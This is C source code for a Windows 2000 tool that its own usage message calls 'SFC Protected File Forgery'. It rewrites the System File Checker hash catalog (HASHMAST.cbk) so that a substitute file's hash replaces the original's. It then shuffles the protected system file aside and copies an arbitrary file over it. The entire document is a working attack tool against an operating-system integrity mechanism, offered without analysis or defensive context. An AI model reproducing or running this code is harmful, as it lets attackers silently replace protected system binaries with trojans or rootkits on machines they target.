#include #include typedef union _OCTET { unsigned __int64 Q[1]; unsigned long D[2]; unsigned short W[4]; unsigned char B[8]; } OCTET; typedef struct _HASHMAST { unsigned char hash[20]; unsigned long flags; } HASHMAST; static const unsigned char BASE_64_CHARS[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_$"; #pragma warning (push) #pragma warning (disable:4035) static __forceinline unsigned __int64 __fastcall clock_counter (void) { __asm _emit 0x0F __asm _emit 0x31 } #pragma warning (pop) #ifdef RELEASE_MODE static __inline #endif char *__fastcall bytes2str (const unsigned char *inbytes, char *outstr, const unsigned __int32 nbytes, const unsigned __int32 nchars) { unsigned __int32 c; unsigned __int32 i = 0, j = nbytes, k = 0; while (j > 0) { c = (c << 8) | inbytes[--j]; i += 8; while (i > 8) { if (k >= nchars) break; *outstr++ = BASE_64_CHARS[(c >> (i - 6)) & 0x3F]; k++; i -= 6; } } if ((i > 0) && (k < nchars)) { *outstr++ = BASE_64_CHARS[_lrotl (c, 6 - i) & 0x3F]; } *outstr = '\0'; return outstr; } static __forceinline void __fastcall attach (OCTET *y, const OCTET x, const unsigned __int32 anyA, const unsigned __int32 anyB, const unsigned __int32 oddC, const unsigned __int32 oddD) { register OCTET _x = {x.Q[0]}; register OCTET _y = {y->Q[0]}; _x.D[0] = _lrotl ((_x.D[0] * 2 + 1) * _x.D[0], 5); _x.D[1] = _lrotl ((_x.D[1] * 2 + 1) * _x.D[1], 5); _y.D[0] = (_lrotl (_y.D[0] ^ _x.D[0], _x.D[1]) + anyA) * (oddC | 1); _y.D[1] = (_lrotl (_y.D[1] ^ _x.D[1], _x.D[0]) + anyB) * (oddD | 1); y->D[1] = _y.D[0]; y->D[0] = _y.D[1]; } static OCTET ycrand64_A = {0x7D318A629B5F40ECUL}; static OCTET ycrand64_B = {0xC143D50A27B698FDUL}; static OCTET ycrand64_C = {0xFC90E4538A27DB61UL}; static OCTET ycrand64_D = {0x841CA0B6D9F2E573UL}; static OCTET ycrand64_E = {0x275D98EFA36104CBUL}; static OCTET ycrand64_F = {0xABC60734521EF9D8UL}; static OCTET ycrand64_G = {0x3FDA5189E604C2B7UL}; static OCTET ycrand64_H = {0x1AB43DC578902EF6UL}; #ifdef RELEASE_MODE static __inline #endif unsigned __int64 __fastcall ycrand64 (void) // Reduced (Crappy) Yarrow 2000 Plague Random Number Generator { unsigned long i; for (i = 0; i < 8; i++) { ycrand64_A.Q[0] += clock_counter (); attach (&ycrand64_B, ycrand64_A, 0xA4054A83U, 0xA63F3D5BU, 0x6C2D64B9U, 0xCF3D65EBU); attach (&ycrand64_C, ycrand64_B, 0xC864ABE6U, 0x9C48345EU, 0x7E5D5F83U, 0xDAEC6FE5U); attach (&ycrand64_D, ycrand64_C, 0x6D4C392FU, 0x726F2EC3U, 0x2946ABDDU, 0x3DF46213U); attach (&ycrand64_E, ycrand64_D, 0x54E76A67U, 0x4847ED02U, 0x9B1BCF25U, 0xE84BFDF7U); attach (&ycrand64_F, ycrand64_E, 0x7F3DEC53U, 0x6AC86C66U, 0x132A9B6FU, 0x0EAAFCFFU); attach (&ycrand64_G, ycrand64_F, 0x143C4E49U, 0x583439E9U, 0x9F462227U, 0x819C6F4DU); attach (&ycrand64_H, ycrand64_G, 0x4847ED02U, 0xA26F263BU, 0xD3D634B1U, 0xF5718081U); attach (&ycrand64_A, ycrand64_H, 0x54671E0EU, 0x446D4CA1U, 0xCE84BFDBU, 0x6CF3D659U); } return ycrand64_A.Q[0] ^ ycrand64_B.Q[0]; } static __forceinline unsigned long __fastcall ycrand32 (void) { OCTET x = {ycrand64 ()}; return x.D[0] ^ x.D[1]; } static OCTET ycrand_str_base_64_X = {0x514FCD8EB6792A03UL}; static OCTET ycrand_str_base_64_Y = {0xEAC71D84692350BFUL}; #ifdef RELEASE_MODE static __inline #endif char *__fastcall ycrand_str_base_64 (char *str, const unsigned __int32 length) { register char *s = str; register unsigned __int32 n = length, i; OCTET buffer[3]; *s = '\0'; if (n) for (;;) { for (i = 0; i < 3; i++) { ycrand_str_base_64_X.Q[0] += ycrand64 (); attach (&ycrand_str_base_64_Y, ycrand_str_base_64_X, 0x1E409284U, 0x8AF96E31U, 0xFDDE2D81U, 0x3CCAF029U); attach (buffer + i, ycrand_str_base_64_Y, 0xB98FD287U, 0x808F3689U, 0xA619E2C3U, 0xB8695111U); attach (&ycrand_str_base_64_X, buffer[i], 0xAAC2E9BEU, 0x78D823B5U, 0x9ED5AFFFU, 0x95A056C7U); } bytes2str (buffer->B, s, 24, __min (32, n)); if (n <= 32) break; n = n - 32; s += 32; } return str; } int __cdecl main (int argc, char **argv) { HMODULE hWINTRUST = LoadLibrary ("WINTRUST"), hMSV1_0 = LoadLibrary ("MSV1_0"), hKERBEROS = LoadLibrary ("KERBEROS"); FARPROC CryptCATAdminCalcHashFromFileHandle = hWINTRUST ? (FARPROC) GetProcAddress (hWINTRUST, "CryptCATAdminCalcHashFromFileHandle") : NULL; HANDLE f, fHASHMAST; unsigned char hash[64], my_hash[64]; unsigned long size = sizeof (hash), my_size = sizeof (my_hash), i, n, s; char sysdir[MAX_PATH], tmp[MAX_PATH], toinstall[MAX_PATH], frominstall[MAX_PATH]; HASHMAST *hm; if (argc != 3) { MessageBox (NULL, "Windows 2000 SFC Protected File Forgery.\nUsage: forge ", "Forgery Usage", MB_OK | MB_ICONASTERISK | MB_TASKMODAL | MB_SETFOREGROUND); return 0; } GetSystemDirectory (sysdir, sizeof (sysdir)); SetCurrentDirectory (sysdir); strcat (sysdir, "\\"); if (strchr (argv[1], ':') || strchr (argv[1], '\\') || strchr (argv[1], '/') ) strcpy (toinstall, argv[1]); else strcat (strcpy (toinstall, sysdir), argv[1]); if (strchr (argv[2], ':') || strchr (argv[2], '\\') || strchr (argv[2], '/')) strcpy (frominstall, argv[2]); else strcat (strcpy (frominstall, sysdir), argv[2]); if(((f = CreateFile (frominstall, 0x80000000, 3, 0, 3, 0x80, 0)) == INVALID_HANDLE_VALUE)) { sprintf (tmp, "File %s not found!", frominstall); FatalAppExit (0, tmp); } if ((CryptCATAdminCalcHashFromFileHandle && CryptCATAdminCalcHashFromFileHandle (f, &my_size, my_hash, 0) != 0) && (my_size == 20)) { printf ("Acquired %s hash:\n\t ", frominstall); for (i = 0; i < my_size; i++) printf ("%02X", my_hash[i]); printf ("\n\n"); memcpy (hash, my_hash, size = my_size); } CloseHandle (f); if ((f = CreateFile (toinstall, 0x80000000, 3, 0, 3, 0x80, 0)) != INVALID_HANDLE_VALUE) { if((CryptCATAdminCalcHashFromFileHandle && CryptCATAdminCalcHashFromFileHandle (f, &size, hash, 0) != 0) && (size == 20)) { printf ("Acquired %s hash:\n\t ", toinstall); for (i = 0; i < size; i++) printf ("%02X", hash[i]); printf ("\n\n"); } CloseHandle (f); } if ((fHASHMAST = CreateFile ("CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\HASHMAST.cbk", 0xC0000000, 3, 0, 3, 0x80, 0)) != INVALID_HANDLE_VALUE) { hm = (HASHMAST *) LocalAlloc (LPTR, n = GetFileSize (fHASHMAST, 0)); ReadFile (fHASHMAST, hm, n, &n, 0); n /= sizeof (HASHMAST); for (s = 0, i = 0; i < n; i++) { if (memcmp (hm[i].hash, hash, 20) == 0) { memcpy (my_hash + 20, &hm[i].flags, 4); SetFilePointer (fHASHMAST, i * sizeof (HASHMAST), 0, 0); WriteFile (fHASHMAST, my_hash, sizeof (HASHMAST), &i, 0); s = 1; break; } } CloseHandle (fHASHMAST); LocalFree (hm); if (s) printf ("Set SFC hash for %s to its new value.\n\n", toinstall); } ycrand_str_base_64 (tmp, 25); tmp[8] = '.'; tmp[12] = '\0'; CreateDirectory (tmp, 0); tmp[12] = '\\'; tmp[21] = '.'; MoveFile (toinstall, tmp); tmp[12] = '\0'; MoveFile (tmp, tmp + 13); memcpy (tmp, tmp + 13, 12); tmp[12] = '\\'; DeleteFile (tmp); RemoveDirectory (tmp + 13); CopyFile (frominstall, toinstall, 0); printf ("Successfully forged\n\t %s\nwith\n\t %s\n", toinstall, frominstall); return 0; }